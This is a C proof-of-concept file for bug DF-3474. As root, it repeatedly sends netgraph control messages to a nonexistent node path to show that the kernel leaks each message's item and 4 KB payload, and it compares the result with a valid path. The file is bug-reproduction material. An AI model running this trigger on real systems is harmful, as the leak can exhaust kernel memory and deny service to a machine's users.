DF-3474 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * DF-3474 PoC: netgraph7 ng_address_path() error path leaks the item and * the whole control message payload (NG_FREE_ITEM only sets a flag; * nothing ever drops the item's refcount for items that are not currently * passing through ng_apply_item()). * * A/B experiment on ONE AF_NETGRAPH control socket: * phase "good": sendto() with path "." (our own socket node) * -> ng_address_path() succeeds -> item is applied and * freed normally. No growth expected. * phase "bad": sendto() with path "df3474_no_such_node_xyz:" * -> ng_path2noderef() fails -> ng_address_path() calls * NG_FREE_ITEM(item) [flag only] and returns ENOENT. * item (objcache/M_NETGRAPH) + msg (M_NETGRAPH_MSG, * PAYLOAD bytes) leak PER SEND. * * Must run as root (netgraph control sockets require privilege). */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* userland netgraph headers */ #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> /* The stock userland <netgraph/ng_message.h> is for the OLD sys/netgraph * stack (NG_VERSION 2). The netgraph7 kernel stack expects NG_VERSION 8. */ #ifndef NG7_VERSION #define NG7_VERSION 8 #endif /* variable-length sockaddr_ng: sg_data is declared [14] but is really * as long as sg_len says; use a padded buffer for long paths */ struct sa_ng_big { struct sockaddr_ng sg; char pad[64]; }; #define PAYLOAD_SZ 4096 #define ITERS 250000 static struct ng_mesg * make_msg(char *buf, size_t bufsz, u_int32_t cmd) { struct ng_mesg *m = (struct ng_mesg *)buf; memset(buf, 0, bufsz); m->header.version = NG7_VERSION; m->header.typecookie = NGM_GENERIC_COOKIE; m->header.cmd = cmd; m->header.arglen = PAYLOAD_SZ - sizeof(struct ng_mesg); memcpy(m->data, "DF3474LEAK", 10); return (m); } static void run_phase(int cs, const char *path, const char *tag, int iters) { char buf[sizeof(struct ng_mesg) + PAYLOAD_SZ]; long ok = 0, fail = 0; long errnos[256]; int i; memset(errnos, 0, sizeof(errnos)); for (i = 0; i < iters; i++) { struct sa_ng_big sb; size_t plen = strlen(path); make_msg(buf, sizeof(buf), NGM_LISTNODES); memset(&sb, 0, sizeof(sb)); sb.sg.sg_len = plen + 3; /* family byte + NUL + align */ sb.sg.sg_family = AF_NETGRAPH; memcpy(sb.sg.sg_data, path, plen + 1); /* * sendto on an NG_CONTROL socket -> ngc_send() -> * ng_address_path(sockdata->node, item, path, 0). */ if (sendto(cs, buf, sizeof(buf), 0, (struct sockaddr *)&sb.sg, sb.sg.sg_len) < 0) { fail++; if (errno < 200) errnos[errno]++; } else { ok++; } /* drain responses continuously so the good path never * hits ENOBUFS backpressure (keeps the A/B clean) */ { char rb[65536]; while (recv(cs, rb, sizeof(rb), MSG_DONTWAIT) > 0) ; } } printf("[%s] sendto ok=%ld fail=%ld (%d iters, %d bytes each)\n", tag, ok, fail, iters, (int)sizeof(buf)); for (i = 0; i < 256; i++) if (errnos[i]) printf("[%s] errno %d (%s): %ld\n", tag, i, strerror(i), errnos[i]); } int main(int argc, char **argv) { int cs; const char *mode = (argc > 1) ? argv[1] : "both"; if (geteuid() != 0) { fprintf(stderr, "must run as root (control socket)\n"); return (1); } cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("socket(AF_NETGRAPH, NG_CONTROL)"); return (1); } printf("control socket fd=%d mode=%s\n", cs, mode); if (strcmp(mode, "good") == 0 || strcmp(mode, "both") == 0) { printf("phase GOOD path=. ...\n"); run_phase(cs, ".", "good", (argc > 2) ? atoi(argv[2]) : ITERS); } if (strcmp(mode, "bad") == 0 || strcmp(mode, "both") == 0) { printf("phase BAD path=df3474_no_such_node_xyz: ...\n"); run_phase(cs, "df3474_no_such_node_xyz:", "bad", (argc > 2) ? atoi(argv[2]) : ITERS); } close(cs); printf("done\n"); return (0); } |